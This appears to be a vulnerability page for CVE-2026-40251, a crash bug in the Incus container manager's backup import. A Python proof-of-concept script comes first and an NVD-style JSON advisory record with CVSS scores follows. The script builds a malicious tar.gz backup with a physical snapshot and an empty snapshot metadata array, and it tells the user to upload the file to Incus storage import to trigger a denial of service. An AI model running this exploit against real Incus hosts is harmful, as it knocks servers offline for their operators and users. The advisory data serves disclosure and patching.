CVE-2026-40251

import tarfile import io import yaml # PoC for CVE-2026-40251 # Generates a malicious backup archive to trigger the out-of-bounds panic in Incus. def create_malicious_backup(): buffer = io.BytesIO() with tarfile.open(fileobj=buffer, mode='w:gz') as tar: # 1. Create a dummy physical snapshot directory/file # This represents a physical snapshot present in the archive snapshot_content = b"data" snap_file = io.BytesIO(snapshot_content) tarinfo = tarfile.TarInfo(name="backup/snapshots/snap0/rootfs") tarinfo.size = len(snapshot_content) tar.addfile(tarinfo, snap_file) # 2. Create a tampered index.yaml with empty snapshots array # The vulnerability is triggered because physical snapshots exist (step 1) # but the metadata array (below) is empty/truncated. metadata = { "container": { "name": "vuln-container", "snapshots": [] # Empty array triggers the len(slice) >= i-1 bug } } yaml_data = yaml.dump(metadata) index_file = io.BytesIO(yaml_data.encode('utf-8')) tarinfo_index = tarfile.TarInfo(name="backup/index.yaml") tarinfo_index.size = len(yaml_data.encode('utf-8')) tar.addfile(tarinfo_index, index_file) filename = "cve-2026-40251_poc.tar.gz" with open(filename, "wb") as f: f.write(buffer.getvalue()) print(f"[+] Created malicious archive: {filename}") print(f"[+] Upload this to Incus storage import to trigger DoS.") if __name__ == "__main__": create_malicious_backup()

{"cve": {"id": "CVE-2026-40251", "sourceIdentifier": "[email protected]", "published": "2026-05-06T21:16:01.210", "lastModified": "2026-05-07T17:06:42.753", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage volume import logic allows an authenticated user with access to the storage volume feature to cause the Incus daemon to crash. The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays, and the same flawed pattern also appears in the migration path. When iterating through physical snapshots provided in a backup archive, the loop uses the index to look up corresponding metadata in the parsed `Config.Snapshots` and `Config.VolumeSnapshots` slices. The guard condition `len(slice) >= i-1` is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds.\n\nAn attacker can submit a backup archive that contains physical snapshot directories while supplying a tampered `index.yaml` with an empty or truncated snapshot metadata array, causing the daemon to index beyond the end of the metadata slice and crash. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-129"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.0.0", "matchCriteriaId": "CF8EBB4B-C1F0-44C5-B063-9CF8EB6E0972"}]}]}], "references": [{"url": "https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/lxc/incus/security/advisories/GHSA-4m88-wxj4-9qj6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/lxc/incus/security/advisories/GHSA-4m88-wxj4-9qj6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}